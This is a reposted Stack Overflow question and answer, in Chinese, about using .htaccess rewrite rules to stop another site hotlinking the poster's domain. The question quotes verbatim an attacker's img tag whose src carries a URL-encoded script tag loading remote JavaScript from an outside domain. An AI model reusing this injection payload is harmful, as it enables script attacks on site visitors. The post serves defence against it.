gpt4 book ai didi

php - 使用 .htaccess 将不带扩展名的热链接重定向到父网站

转载 作者:搜寻专家 更新时间:2023-10-31 21:25:56 24 4
gpt4 key购买 nike

恶意网站正在使用 img 标签在我的网站中插入重定向脚本。我已经阻止了重定向 using strip_tags()但该网站正在消耗我所有的带宽。他使用的代码是:

<img src="http://mywebsite.com/video/%3Cscript%20type=%22text/javascript%22%20src=%22http://sex3gpvideos.sextgem.com/asss.js%22%3E%3C/script%3E" alt="loading" height="0" width="0" class="thumb"></img>

我试图添加此代码以防止 img 热链接,但它没有工作,因为 img 链接中没有扩展名:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://(.+\.)?mywebsite\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L]

我想重定向所有在 img 标签中使用我的域的网站 <img src="http://mywebsite.com/ANYTHING-HERE"/>到 mywebsite.com

如何使用 .htaccess 来实现?

最佳答案

您只需要一个条件就可以将引用者重定向到另一个位置:

尝试:

RewriteEngine On
RewriteCond %{HTTP_REFERER} !^https?://(www\.)?mywebsite\.com/ [NC]
RewriteRule .*\.(jpe?g|gif|bmp|png)$ http://i.imgur.com/qX4w7.gif [L,R]

关于php - 使用 .htaccess 将不带扩展名的热链接重定向到父网站,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/36171511/

24 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com